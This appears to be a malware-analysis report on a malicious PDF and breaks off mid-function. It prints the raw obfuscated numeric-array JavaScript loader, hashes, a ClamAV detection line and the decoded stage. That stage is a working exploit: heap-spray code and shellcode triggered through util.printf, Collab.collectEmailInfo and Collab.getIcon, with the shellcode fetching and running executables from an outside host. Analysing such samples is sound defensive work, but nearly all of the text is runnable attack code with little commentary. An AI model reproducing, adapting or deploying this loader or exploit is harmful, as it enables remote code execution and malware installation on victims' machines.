3,156,163,174,162,173,145,89,113,89,173,154,166,172,164,89,95,89,167,161,153,165,160,156,163,157,153,116,65,67,61,66,177,70,62,66,61,175,149,171,84,168,170,158,166,159,160,168,171,89,113,89,169,167,153,172,151,154,164,158,92,91,89,174,100,156,100,156,89,174,100,156,100,156,86,98,111,70,62,66,61,176,156,162,160,158,84,97,163,175,153,171,154,165,163,176,98,165,153,167,155,173,156,89,112,89,104,109,109,110,102,98,175,70,62,66,61,66,163,175,153,171,154,165,163,176,84,100,113,89,163,175,153,171,154,165,163,176,111,70,62,66,61,182,65,67,61,66,168,161,157,172,98,156,163,165,160,154,150,140,168,168,166,158,84,118,84,124,163,165,160,154,150,103,151,168,160,165,153,156,168,126,161,154,157,165,125,167,154,168,92,180,167,174,150,163,110,89,86,91,96,166,167,160,110,89,163,175,153,171,154,165,163,176,177,98,111,70,62,66,177,70,62,70,62,66,154,174,162,156,168,162,163,167,84,156,163,165,160,154,150,152,155,158,168,162,151,168,162,97,93,180,65,67,61,66,157,159,84,97,149,169,164,103,152,168,151,103,119,168,160,165,149,155,98,160,153,173,125,156,163,167,93,180,65,67,61,66,61,175,149,171,84,154,166,171,173,89,113,89,162,158,171,89,117,171,166,154,173,97,93,116,65,67,61,66,61,175,149,171,84,175,170,169,153,173,156,178,149,89,113,89,169,167,153,172,151,154,164,158,92,91,89,174,121,123,121,114,89,174,100,105,100,106,89,174,105,111,100,105,89,174,117,106,106,109,89,174,100,105,103,105,89,174,100,105,100,105,89,174,104,105,108,123,89,174,108,123,100,124,89,174,101,124,107,105,89,174,108,123,117,125,89,174,100,113,104,105,89,174,119,108,105,126,89,174,108,123,105,110,89,174,108,123,121,124,89,174,100,113,104,110,89,174,103,108,105,107,89,174,119,106,120,107,89,174,100,108,119,107,89,174,101,105,103,107,89,174,108,105,104,105,89,174,100,105,103,113,89,174,122,110,107,110,89,174,119,107,108,123,89,174,105,125,105,122,89,174,100,109,119,107,89,174,105,110,100,105,89,174,121,124,108,123,89,174,105,106,105,106,89,174,105,111,105,108,89,174,106,105,105,112,89,174,105,125,108,123,89,174,103,108,100,113,89,174,108,123,119,105,89,174,100,124,107,110,89,174,122,126,108,123,89,174,107,111,100,108,89,174,108,123,103,124,89,174,107,113,104,126,89,174,119,127,100,108,89,174,105,106,108,123,89,174,105,107,101,124,89,174,105,106,108,123,89,174,105,107,102,109,89,174,107,106,108,123,89,174,104,126,101,109,89,174,107,110,108,114,89,174,108,123,122,124,89,174,102,105,107,106,89,174,122,112,100,108,89,174,104,122,109,114,89,174,104,107,117,125,89,174,103,123,106,105,89,174,122,124,105,110,89,174,100,109,107,110,89,174,119,105,103,108,89,174,103,112,121,123,89,174,122,127,103,108,89,174,104,110,100,108,89,174,109,112,100,124,89,174,119,127,108,123,89,174,107,110,117,126,89,174,102,123,122,125,89,174,104,127,122,114,89,174,121,113,105,106,89,174,122,127,109,109,89,174,122,127,122,127,89,174,119,108,103,123,89,174,107,109,106,106,89,174,121,123,100,107,89,174,108,123,120,114,89,174,100,124,104,110,89,174,105,126,109,107,89,174,122,107,100,108,89,174,121,105,120,106,89,174,119,111,100,108,89,174,119,114,103,108,89,174,118,112,100,127,89,174,105,127,100,113,89,174,121,106,119,106,89,174,100,108,100,107,89,174,100,108,119,122,89,174,108,123,119,127,89,174,100,108,100,106,89,174,108,114,119,107,89,174,122,113,104,110,89,174,108,123,106,106,89,174,122,113,104,110,89,174,105,126,105,127,89,174,119,114,105,123,89,174,105,110,119,108,89,174,121,124,108,123,89,174,121,113,105,106,89,174,122,127,104,114,89,174,122,127,122,127,89,174,106,113,105,105,89,174,106,105,121,113,89,174,100,109,118,127,89,174,106,124,121,113,89,174,122,127,122,127,89,174,103,108,122,127,89,174,105,107,120,107,89,174,122,127,105,107,89,174,100,113,107,110,89,174,120,105,122,127,89,174,104,110,108,114,89,174,108,123,122,124,89,174,122,124,104,110,89,174,119,108,119,114,89,174,108,123,105,110,89,174,108,108,121,124,89,174,100,124,121,124,89,174,104,110,108,125,89,174,105,105,122,109,89,174,104,110,119,111,89,174,107,110,122,109,89,174,104,110,119,111,89,174,107,107,122,110,89,174,104,110,119,111,89,174,106,124,122,111,89,174,104,110,119,111,89,174,106,125,122,112,89,174,104,110,119,111,89,174,106,127,122,113,89,174,104,110,119,111,89,174,106,126,122,114,89,174,104,110,119,111,89,174,102,126,122,122,89,174,104,110,119,111,89,174,106,109,122,123,89,174,104,110,119,111,89,174,106,124,122,124,89,174,104,110,119,111,89,174,106,124,122,125,89,174,104,110,119,111,89,174,100,105,122,126,89,174,117,105,121,113,89,174,122,127,122,127,89,174,105,105,122,127,89,174,105,125,106,113,89,174,101,106,108,122,89,174,121,113,101,111,89,174,122,127,101,110,89,174,122,127,122,127,89,174,119,109,108,108,89,174,108,110,100,124,89,174,107,109,119,105,89,174,106,122,101,110,89,174,106,122,100,105,89,174,122,127,100,105,89,174,100,124,107,110,89,174,107,110,122,127,89,174,106,122,100,113,89,174,122,127,100,105,89,174,108,110,120,105,89,174,107,110,119,105,89,174,104,105,100,108,89,174,119,108,119,114,89,174,119,105,103,108,89,174,119,108,119,114,89,174,103,108,105,112,89,174,108,123,119,105,89,174,102,109,104,124,89,174,108,123,100,124,89,174,102,109,107,124,89,174,122,124,100,113,89,174,117,122,122,108,89,174,119,108,105,127,89,174,104,124,108,123,89,174,100,109,102,109,89,174,103,114,108,105,89,174,108,123,100,105,89,174,107,109,119,106,89,174,104,105,100,111,89,174,103,113,108,105,89,174,107,110,100,105,89,174,102,123,122,122,89,174,119,108,119,106,89,174,108,123,105,110,89,174,108,108,121,124,89,174,106,109,121,124,89,174,108,125,105,108,89,174,122,105,104,110,89,174,103,108,105,112,89,174,105,105,120,123,89,174,104,110,119,111,89,174,106,123,122,105,89,174,104,110,119,111,89,174,106,110,122,106,89,174,104,110,119,111,89,174,107,107,122,107,89,174,104,110,119,111,89,174,106,126,122,108,89,174,104,110,119,111,89,174,106,110,122,109,89,174,104,110,119,111,89,174,106,124,122,110,89,174,104,110,119,111,89,174,103,108,122,111,89,174,104,110,119,111,89,174,103,107,122,112,89,174,104,110,119,111,89,174,102,126,122,113,89,174,104,110,119,111,89,174,106,109,122,114,89,174,104,110,119,111,89,174,106,124,122,122,89,174,104,110,119,111,89,174,106,124,122,123,89,174,105,125,108,113,89,174,121,113,122,124,89,174,122,127,100,123,89,174,122,127,122,127,89,174,106,113,105,105,89,174,104,108,106,113,89,174,108,126,122,114,89,174,108,105,121,113,89,174,122,127,122,126,89,174,108,123,122,127,89,174,108,125,122,113,89,174,109,124,104,110,89,174,104,109,106,122,89,174,121,113,105,105,89,174,122,127,107,126,89,174,122,127,122,127,89,174,104,110,108,125,89,174,106,122,121,105,89,174,105,105,101,105,89,174,107,108,121,113,89,174,122,127,122,127,89,174,108,108,122,127,89,174,101,124,119,109,89,174,104,110,108,125,89,174,105,105,121,105,89,174,104,110,108,125,89,174,105,105,109,124,89,174,105,108,105,108,89,174,105,108,105,108,89,174,105,108,105,108,89,174,107,110,122,127,89,174,119,112,100,113,89,174,109,124,104,110,89,174,100,105,104,109,89,174,100,105,100,105,89,174,122,127,105,108,89,174,105,127,120,112,89,174,118,111,100,127,89,174,105,123,119,105,89,174,119,108,119,114,89,174,108,123,105,110,89,174,105,106,121,124,89,174,105,108,105,106,89,174,105,112,105,111,89,174,104,107,106,122,89,174,107,107,121,113,89,174,100,105,100,105,89,174,108,123,100,105,89,174,103,108,120,113,89,174,108,110,122,111,89,174,105,114,120,123,89,174,104,110,119,112,89,174,106,106,122,113,89,174,106,110,102,126,89,174,119,112,107,113,89,174,122,124,104,110,89,174,100,105,106,110,89,174,100,105,100,105,89,174,105,111,107,126,89,174,104,110,108,125,89,174,105,105,122,113,89,174,121,113,105,111,89,174,100,105,105,106,89,174,100,105,100,105,89,174,105,105,105,114,89,174,118,106,121,113,89,174,122,127,122,126,89,174,108,110,122,127,89,174,105,114,119,105,89,174,107,109,105,114,89,174,108,125,103,114,89,174,100,106,104,111,89,174,121,113,105,105,89,174,100,105,103,123,89,174,100,105,100,105,89,174,122,113,108,123,89,174,104,110,108,125,89,174,105,105,122,113,89,174,102,106,121,113,89,174,122,127,122,127,89,174,108,110,122,127,89,174,105,114,119,105,89,174,107,109,105,114,89,174,105,112,100,124,89,174,100,106,121,113,89,174,122,127,122,127,89,174,105,114,122,127,89,174,104,109,119,111,89,174,122,127,103,113,89,174,105,105,107,108,89,174,104,110,108,125,89,174,122,126,122,113,89,174,105,113,100,105,89,174,104,110,108,125,89,174,105,105,122,113,89,174,121,113,105,112,89,174,122,126,107,109,89,174,122,127,122,127,89,174,105,114,105,114,89,174,104,111,104,111,89,174,122,108,103,123,89,174,117,122,107,124,89,174,105,126,105,127,89,174,119,114,105,123,89,174,105,110,119,108,89,174,121,124,108,123,89,174,105,108,105,106,89,174,106,105,106,111,89,174,103,107,118,106,89,174,100,105,121,113,89,174,100,105,100,105,89,174,105,113,100,105,89,174,100,113,103,113,89,174,100,108,107,109,89,174,121,123,104,105,89,174,104,105,122,114,89,174,105,125,108,123,89,174,108,105,100,113,89,174,104,107,122,123,89,174,100,113,107,110,89,174,120,123,103,108,89,174,101,113,108,122,89,174,119,108,108,123,89,174,101,112,121,123,89,174,101,113,103,113,89,174,101,106,107,111,89,174,103,108,104,105,89,174,108,109,119,114,89,174,107,109,120,123,89,174,104,105,100,124,89,174,100,113,103,113,89,174,122,123,107,110,89,174,122,126,104,105,89,174,121,123,119,123,89,174,103,108,122,107,89,174,108,114,119,105,89,174,122,124,104,110,89,174,104,110,108,123,89,174,105,123,122,124,89,174,119,108,119,114,89,174,100,107,103,107,89,174,107,109,106,113,89,174,107,105,107,109,89,174,102,127,103,122,89,174,106,125,102,127,89,174,107,107,106,114,89,174,106,127,107,107,89,174,106,127,107,107,89,174,106,110,106,126,89,174,106,127,107,107,89,174,106,114,106,111,89,174,106,110,107,111,89,174,106,108,102,126,89,174,106,125,106,127,89,174,107,108,102,127,89,174,106,110,106,124,89,174,107,105,106,110,89,174,106,108,102,127,89,174,107,106,107,122,89,174,107,107,106,125,89,174,103,107,106,111,89,174,106,110,102,126,89,174,106,110,107,113,89,174,106,113,100,105,89,174,107,109,107,109,89,174,103,122,107,105,89,174,102,127,102,127,89,174,106,114,106,125,89,174,107,107,107,107,89,174,107,107,106,127,89,174,106,126,106,127,89,174,107,107,106,110,89,174,106,111,106,127,89,174,107,111,106,114,89,174,102,126,106,110,89,174,106,127,106,108,89,174,102,127,106,125,89,174,106,124,107,108,89,174,106,110,106,110,89,174,102,127,107,105,89,174,106,124,106,108,89,174,106,108,106,114,89,174,102,126,106,123,89,174,106,113,107,105,89,174,103,127,107,105,89,174,103,125,107,107,89,174,100,105,100,105,86,98,111,70,62,66,61,66,170,154,166,89,156,144,165,110,100,105,119,135,84,118,84,175,170,169,153,173,156,178,149,103,160,158,162,160,168,161,84,99,84,107,111,70,62,66,61,66,170,154,166,89,160,158,162,89,113,89,100,177,104,105,100,105,100,105,84,102,84,97,156,144,165,110,100,105,119,135,84,100,84,105,172,108,108,98,111,70,62,66,61,66,170,154,166,89,173,154,166,172,164,89,113,89,169,167,153,172,151,154,164,158,92,91,89,174,109,105,109,105,89,174,109,105,109,105,86,98,111,70,62,66,61,66,173,154,166,172,164,89,113,89,154,162,172,152,157,173,92,178,149,171,167,169,96,89,160,158,162,98,111,70,62,66,61,66,170,154,166,89,164,110,117,163,127,111,105,159,84,118,84,97,100,177,100,156,100,156,100,156,100,156,84,102,84,105,172,109,100,105,100,105,100,98,84,104,84,105,172,109,100,105,100,105,100,116,65,67,61,66,61,159,163,171,84,97,170,154,166,89,170,170,151,138,120,114,106,178,84,118,84,105,111,89,170,170,151,138,120,114,106,178,84,117,84,169,105,122,158,132,106,110,154,116,84,175,165,156,133,125,109,111,173,89,95,100,84,98,175,70,62,66,61,66,61,154,166,171,173,148,170,170,151,138,120,114,106,178,145,89,113,89,173,154,166,172,164,89,95,89,170,175,164,158,168,161,173,154,111,70,62,66,61,66,177,70,62,66,61,66,170,154,166,89,168,142,129,161,130,155,123,176,84,118,84,174,162,158,167,156,149,169,153,97,86,94,100,114,86,98,111,70,62,66,61,66,171,161,157,165,153,89,92,173,137,134,156,135,150,128,171,103,160,158,162,160,168,161,84,117,84,105,172,109,100,105,100,98,175,70,62,66,61,66,61,173,137,134,156,135,150,128,171,89,95,118,84,173,137,134,156,135,150,128,171,116,65,67,61,66,61,182,65,67,61,66,61,173,137,134,156,135,150,128,171,89,113,89,86,135,98,91,84,100,84,173,137,134,156,135,150,128,171,116,65,67,61,66,61,154,164,169,98,157,163,156,98,124,163,165,160,154,150,103,155,158,168,130,151,168,162,97,168,142,129,161,130,155,123,176,93,116,65,67,61,66,177,70,62,66,177,70,62,70,62,66,154,174,162,156,168,162,163,167,84,169,152,159,147,172,168,154,166,173,92,98,175,70,62,70,62,66,61,175,149,171,84,175,153,171,167,162,163,167,84,118,84,154,164,169,98,175,157,158,171,158,166,143,153,171,167,162,163,167,98,173,163,140,168,171,157,167,155,97,93,116,65,67,61,66,170,158,166,172,157,168,162,89,113,89,170,158,166,172,157,168,162,103,166,158,164,165,149,156,153,97,99,149,120,104,155,101,91,96,93,116,65,67,61,66,170,154,166,89,170,154,166,172,157,168,162,152,149,171,166,154,173,89,113,89,162,158,171,89,117,171,166,154,173,97,170,158,166,172,157,168,162,103,151,161,149,171,117,173,92,105,93,101,84,175,153,171,167,162,163,167,98,156,156,154,166,122,168,97,101,98,96,89,170,158,166,172,157,168,162,103,151,161,149,171,117,173,92,107,93,98,111,70,62,66,61,162,154,89,92,97,170,154,166,172,157,168,162,152,149,171,166,154,173,148,100,150,84,118,113,89,108,98,84,95,90,89,92,175,149,171,167,162,163,167,147,154,166,171,149,178,143,106,145,89,113,118,84,105,93,89,176,181,84,97,170,154,166,172,157,168,162,152,149,171,166,154,173,148,101,150,84,118,113,89,101,89,90,95,84,175,149,171,167,162,163,167,147,154,166,171,149,178,143,107,145,89,112,89,103,98,93,180,65,67,61,66,61,174,168,162,160,152,164,171,157,167,168,159,92,98,111,70,62,66,61,182,65,67,61,66,157,159,84,97,92,175,149,171,167,162,163,167,147,154,166,171,149,178,143,105,145,89,112,89,108,98,84,181,176,89,92,175,149,171,167,162,163,167,147,154,166,171,149,178,143,105,145,89,113,118,84,113,84,95,90,89,170,154,166,172,157,168,162,152,149,171,166,154,173,148,101,150,84,117,84,107,84,95,90,89,170,154,166,172,157,168,162,152,149,171,166,154,173,148,102,150,84,117,84,107,93,98,175,70,62,66,61,66,151,168,160,165,149,155,147,158,161,154,157,165,92,98,111,70,62,66,61,182,65,67,61,66,157,159,84,97,92,175,149,171,167,162,163,167,147,154,166,171,149,178,143,105,145,89,112,89,109,98,84,181,176,89,92,175,149,171,167,162,163,167,147,154,166,171,149,178,143,105,145,89,113,118,84,114,84,95,90,89,170,154,166,172,157,168,162,152,149,171,166,154,173,148,101,150,84,117,84,106,93,98,175,70,62,66,61,66,151,168,160,165,149,155,147,160,153,173,157,156,163,167,92,98,111,70,62,66,61,182,65,67,61,182,65,67,65,67,61,169,152,159,147,172,168,154,166,173,92,98,111,70,62,66],djuvw=function(){for(var cfhjs;nildfz<wkzp.length;nildfz+=1){var ahosvy=nildfz%drsy.length+1;var egjptx=drsy.substring(nildfz%drsy.length,ahosvy);var kqsu=wkzp[nildfz];stux+=afnv(kqsu-egjptx.charCodeAt(0));}
iklsx(stux);};djuvw();cfms='';gpuvx='';abou="";cefhlw=47423;
|
|||
legacy_pdfkit_stage_000.js |
deobfuscated-js | numeric array subtract-key decoded JavaScript at offset 0x1A5 | 10084 bytes |
SHA-256: f05e3fcd3a0fb3e0367219405a4fcc5ac60a6eb9fc44673b39cc66a9637990f9 |
|||
|
Detection
ClamAV:
Js.Exploit.Shellcode-18
Obfuscation or payload:
likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function fix_it(yarsp, len){
while (yarsp.length * 2 < len){
yarsp += yarsp;
}
yarsp = yarsp.substring(0, len/2);
return yarsp;
}
function util_printf(){
var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u642F%u6B68%u6E6C%u3279%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000");
var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock = nop + payload;
var bigblock = unescape("%u0A0A%u0A0A");
var headersize = 20;
var spray = headersize + heapblock.length;
while (bigblock.length < spray){
bigblock += bigblock;
}
var fillblock = bigblock.substring(0, spray);
var block = bigblock.substring(0, bigblock.length-spray);
while (block.length+spray < 0x40000){
block = block + block + fillblock;
}
var mem_array = new Array();
for (var i = 0; i < 1400; i++){
mem_array[i] = block + heapblock;
}
var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f", num);
}
function collab_email(){
var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u682F%u637A%u6964%u326B%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000");
var mem_array = new Array();
var cc = 0x0c0c0c0c;
var addr = 0x400000;
var sc_len = shellcode.length * 2;
var len = addr - (sc_len+0x38);
var yarsp = unescape("%u9090%u9090");
yarsp = fix_it(yarsp, len);
var count2 = (cc - 0x400000)/addr;
for (var count = 0; count < count2; count++){
mem_array[count] = yarsp + shellcode;
}
var overflow = unescape("%u0c0c%u0c0c");
while (overflow.length < 44952){
overflow += overflow;
}
this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow});
}
function collab_geticon(){
if (app.doc.Collab.getIcon){
var arry = new Array();
var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u632F%u717A%u726D%u3266%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000");
var hWq500CN = vvpethya.length * 2;
var len = 0x400000 - (hWq500CN + 0x38);
var yarsp = unescape("%u9090%u9090");
yarsp = fix_it(yarsp, len);
var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){
arry[vqcQD96y] = yarsp + vvpethya;
}
var tUMhNbGw = unescape("%09");
while (tUMhNbGw.length < 0x4000){
tUMhNbGw += tUMhNbGw;
}
tUMhNbGw = "N." + tUMhNbGw;
app.doc.Collab.getIcon(tUMhNbGw);
}
}
function pdf_start(){
var version = app.viewerVersion.toString();
version = version.replace(/\D/g,'');
var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2));
